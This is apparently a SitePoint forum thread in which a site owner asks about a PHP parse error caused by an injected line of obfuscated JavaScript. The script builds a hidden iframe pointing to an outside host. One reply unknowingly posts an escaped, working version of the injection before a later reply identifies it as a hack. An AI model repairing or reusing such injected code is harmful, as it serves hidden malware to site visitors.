SitePoint Sponsor

User Tag List

Results 1 to 6 of 6
  1. #1
    SitePoint Guru
    Join Date
    Nov 2004
    Location
    calif
    Posts
    723
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Parse error: syntax error - Help please

    When I went to my home page today I see this:

    Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /home/public_html/index.php on line 510

    Line 510 of /index.php is:

    Code:
    ?><?php echo ''; ?><?php echo 'wy='t';ya='mp';yu='p:';qs='sr';d='nit';l='ame';v='c';z='t';ow='io';zt='n/';sc='n';o='//z';hy='cha';hg='h';p='.c';j='ifr';f='e';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute('width','5');dj.setAttribute('height','5');dj.setAttribute('style','display:none');dj.setAttribute(lr,ua);document.body.appendChild(dj);'; ?>
    Can you help me remedy this?

    Thanks

  2. #2
    SitePoint Evangelist
    Join Date
    Jun 2006
    Location
    Wigan, Lancashire. UK
    Posts
    523
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Code:
    echo 'wy='t';
    Could be something do with your quotes not being escaped??
    ---
    Development Projects:
    PHPExcel
    PHPPowerPoint

  3. #3
    SitePoint Guru
    Join Date
    Nov 2004
    Location
    calif
    Posts
    723
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Thanks for your reply, but I don't know what you're trying to tell me, or how to fix this. I did not write the code. Can you clarify your remedy please? Thanks

  4. #4
    SitePoint Evangelist
    Join Date
    Jun 2006
    Location
    Wigan, Lancashire. UK
    Posts
    523
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Quote Originally Posted by ChrisjChrisj View Post
    Thanks for your reply, but I don't know what you're trying to tell me, or how to fix this. I did not write the code. Can you clarify your remedy please? Thanks
    Well I don't know exactly what this code is trying to achive, and it's a cockamaney dooladdle all on the one line that makes it almost impossible for a human developer to read, but just look at the few characters I cited.

    PHP Code:
    echo 'wy='t'; 
    echo will display what's between the quote marks, i.e
    Code:
    'wy='
    then the parser finds
    Code:
    t';
    - that's totally meaningless to the parser, so it throws up its hands in horror at something that it can't understand, giving an error.

    Now I don't know if you're trying to write
    Code:
    wy='t';ya='mp';yu='p:';qs='sr';d='nit';l='ame';v='c';z='t';ow='io';zt='n/';sc='n';o='//z';hy='cha';hg='h';p='.c';j='ifr';f='e';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute('width','5');dj.setAttribute('height','5');dj.setAttribute('style','display:none');dj.setAttribute(lr,ua);document.body.appendChild(dj);
    to the browser, but if you are, you'll need to "escape" all those single quote marks so that PHP knows there's more to the echo than just
    Code:
    wy=
    PHP Code:
    ?><?php echo ''?><?php echo 'wy=\'t\';ya=\'mp\';yu=\'p:\';qs=\'sr\';d=\'nit\';l=\'ame\';v=\'c\';z=\'t\';ow=\'io\';zt=\'n/\';sc=\'n\';o=\'//z\';hy=\'cha\';hg=\'h\';p=\'.c\';j=\'ifr\';f=\'e\';dx=j.concat(l);lr=qs.concat(v);ua=hg.concat(wy,z,yu,o,f,d,hy,ya,ow,sc,p,zt);var dj=document.createElement(dx);dj.setAttribute(\'width\',\'5\');dj.setAttribute(\'height\',\'5\');dj.setAttribute(\'style\',\'display:none\');dj.setAttribute(lr,ua);document.body.appendChild(dj);'?>
    Then we ask why you feel the need to try and obfuscate the url in this way?
    ---
    Development Projects:
    PHPExcel
    PHPPowerPoint

  5. #5
    SitePoint Member
    Join Date
    Aug 2009
    Posts
    1
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Hey Mark,

    I just noticed the same problem on one of my pages today that uses Spry panels - (OrlandoArabian.org). If I google just one of the attributes (i.e. dj.setAttribute) I see a lot of sites displaying the same problem. I do not recall changing anything on this site in the past several weeks and I cannot find any of these attributes in my code. Any ideas? Thanks.

  6. #6
    SitePoint Evangelist
    Join Date
    Jun 2006
    Location
    Wigan, Lancashire. UK
    Posts
    523
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    If you're seeing this, then you've probably been hacked, or affected by a viral of some kind.

    This block of PHP writes some javascript into your HTML that basically creates a hidden iframe in your HTML page, pointing to a particular url.
    ---
    Development Projects:
    PHPExcel
    PHPPowerPoint


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •